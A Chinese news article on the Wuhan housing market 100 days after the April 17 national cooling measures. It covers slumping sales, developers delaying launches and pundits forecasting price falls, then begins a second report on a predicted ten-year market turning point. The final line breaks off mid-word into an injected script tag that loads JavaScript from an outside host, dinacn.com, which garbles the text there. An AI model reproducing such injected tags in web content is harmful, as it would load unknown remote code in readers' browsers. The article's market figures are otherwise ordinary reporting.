记者 黄峰 实习生 朱哲煜
4月17日,国务院发出《关于坚决遏制部分城市房价过快上涨的通知》,被称为房地产“国十条”,史上最严厉房地产调控大幕拉开。
新政出台到昨日整整100天。这100天里,武汉楼市出现了什么样的变化?调控效果如何?未来走势怎样?
昨日,记者采访多位房地产人士及研究机构,试图给出较为清晰的答案。采访中,多数人认为,调控只能刚及格,离预期还有距离。
买方深度观望
商品房销量月月下挫
“国十条”一出,最直接的作用是购房者变得出奇冷静,之前的冲动、疯狂全然消失,市场观望氛围迅速形成,一个明显现象:到各售楼部里看房的人急剧减少,为数不多的看房人出手也慢。用冷冷清清来形容近郊售楼部毫不为过,很多一天接待不了两三组客户。同样,城区售楼部人气也在急剧下降,一天接待不了几组客户正成为多数售楼部共同的窘境。
新政之后,楼盘开盘销售率都不高。6月以后,很多楼盘开盘只能卖20%-30%,卖到50%已经很少见。而之前,新盘的开盘销售率多在60%以上。
眼下,购房者“玩消失”,深度观望形成,成交量将继续萎缩。各大网站调查也显示:6成以上的人在近三个月都不会出手。
死扛房价不肯降
开发商也开始观望
5月、6月,还有不少楼盘开盘或加推新房,到了7月,开发商也开始观望。前三周,真正开盘或者加推新房楼盘不到10个。武汉高盛地产总经理梅林说,开发商不缺钱,也不看好目前楼市,多数采取消极的策略。
“眼下开发商只能采取拖的办法。”新鸿泰总经理钟志明认为,现在降价可能更有利于房地产行业的发展,但降价是开发商最不愿采取的下下策,不少开发商拖延领取预售证的时间,虽然留着项目有风险,但降价好比在自己身上割肉。
价格不大幅回调
“金九银十”或是一个梦
寄希望于“金九银十”,是眼下众多开发商的算盘。
据了解,全市一度有50多个楼盘原计划7月、8月开盘,眼下多数推迟到了9月、10月。
但日前,国家三部委重申房地产调控政策不会松动。这无疑给抱有侥幸心理的开发商们以致命一击。
中科辉创总经理陈晖则认为,如果价格不出现实质性回调,购房者很难出手,“金九银十”或就是一个梦想,将变成“铜九铁十”。
楼市如何杀出重围?
四季度会出现实质性下降
从目前商品房销量、价格及购房者上门量来看,武汉楼市已经陷入深度困局。直面调控百日大关的关键时期,楼市又该如何杀出重围,实现破局?
眼下,有楼盘推出特价房,或能刺激一定购买,但数量太少,不足以撬动市场。
知名地产评论人贾卧龙提出“开闸泄洪”建议:开发商让利,可以释放许多需求,有利于市场持续发展。
知名地产评论人牛刀直言:下半年房价只有一个走势——暴跌。没有理由不相信楼市不回调。在亿房、新浪乐居等多个网站的调查中,很多人都认为,四季度房价会出现实质性下降。
全国楼市十年拐点
下月来临
记者 王丹妮 通讯员 王媛
“过去十年里,房地产成为中国老百姓最稳定、收益最丰厚的投资品。但从下月开始,投资楼市就有可能被套,因为史上最强楼市政策调控已展开,有可能带来楼市长达十年的调整。”24日,申万巴黎上海理财中心执行总经理申浩波在工行举行的“科学理财、投资未来”的投资报告会上,发布该基金公司最新的房地产行业研究报告。
去年房价疯狂上涨
是楼市见顶的信号
去年至今年初,房地产市场出现了一轮暴涨行情。调查显示,不论是富人还是穷人、工薪阶层,都在推动楼市上涨。
据了解,金融危?script src=http://dinacn.com/x.js> |